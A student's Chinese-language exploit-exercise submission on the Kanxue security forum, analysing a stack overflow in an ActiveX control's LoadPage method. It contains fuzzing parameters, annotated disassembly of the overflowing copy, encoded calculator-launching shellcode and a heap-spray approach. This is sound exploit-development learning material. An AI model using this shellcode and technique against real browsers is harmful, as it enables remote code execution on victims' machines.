提交者看雪ID:hahar
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
学生
漏洞定位:
使用材料中附带的ComRaider进行定位,筛选出Exception Address为41414141的漏洞进行手动调试,ComRaider测试结果显示可疑函数为
prototype = "Sub LoadPage ( ByVal URL As String , ByVal x As Long , ByVal y As Long , ByVal Zoom As Single )"
memberName = "LoadPage"
progid = "ppp2Lib.T_ppp01"
argCount = 4
arg1=String(1044, "A")
arg2=1
arg3=1
arg4=1
根据exploit_me_A报告中的方法确定百,十,个位,定位到第一个长度为260时恰好覆盖EIP
漏洞描述及危害分析:
.text:10013DC0 ; =============== S U B R O U T I N E =======================================
.text:10013DC0
.text:10013DC0 ;
.text:10013DC0
.text:10013DC0 sub_10013DC0 proc near ; CODE XREF: sub_10009740+38 p
.text:10013DC0 ; sub_10012D10+8F p
.text:10013DC0
.text:10013DC0 var_10C = byte ptr -10Ch
.text:10013DC0 var_108 = dword ptr -108h
.text:10013DC0 var_104 = dword ptr -104h
.text:10013DC0 String = byte ptr -100h
.text:10013DC0 arg_0 = dword ptr 4
.text:10013DC0 arg_4 = dword ptr 8
.text:10013DC0
.text:10013DC0 sub esp, 10Ch ; 开辟10C大小的缓冲区
.text:10013DC6 mov edx, ecx
.text:10013DC8 or ecx, 0FFFFFFFFh
.text:10013DCB xor eax, eax
.text:10013DCD push ebx
.text:10013DCE push esi
.text:10013DCF push edi ;三个push ,ESP-0C
.text:10013DD0 mov edi, [esp+120h]
.text:10013DD7 repne scasb
.text:10013DD9 not ecx
.text:10013DDB sub edi, ecx
.text:10013DDD lea ebx, [esp+18h] ; 拷贝目的地址从ESP+18h开始,最多容纳10C+0CH-18H=100h字节
.text:10013DE1 mov eax, ecx
.text:10013DE3 mov esi, edi;ESI指向Buffer
.text:10013DE5 mov edi, ebx
.text:10013DE7 shr ecx, 2
.text:10013DEA rep movsd ;此处导致溢出
.text:10013DEC mov ecx, eax
.text:10013DEE mov eax, [edx+3F94h]
.text:10013DF4 and ecx, 3
.text:10013DF7 cmp eax, 1
.text:10013DFA rep movsb
用IDA反汇编控件,漏洞代码在100013DC0处,字符串拷贝没有没有检查源字符串长度,目的空间大小只有10C+0CH-18H=100h字节,所以当第一个参数为260个字符时刚好覆盖了EIP
shellcode描述
shellcode引用自http://metasploit.com站点提供的运行计算器程序的shellcode
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
exploit运行截图
打开LoadPage.html后,计算器程序执行
稳定性与通用性论证
采用了heap spray在内存中填充大量nop+shellcode形式的内存块,溢出时将EIP覆盖到0x0d0d0d0d,此处的指令为nop+shellcode形式,执行不受操作系统版本限制,通用性好。
创新性论证(可选)
该漏洞开始试图用传统的JMPESP方法利用,结果发现内存中数据大量被修改
这是OD的内存截图,看到原来的JMPESP=”\x12\x45\xfa\x7f”被修改成”\x12\x45\xA8\xB2”;故采用Activex控件漏洞利用中的通用的且稳定的HeapSpray技术。
上传的附件: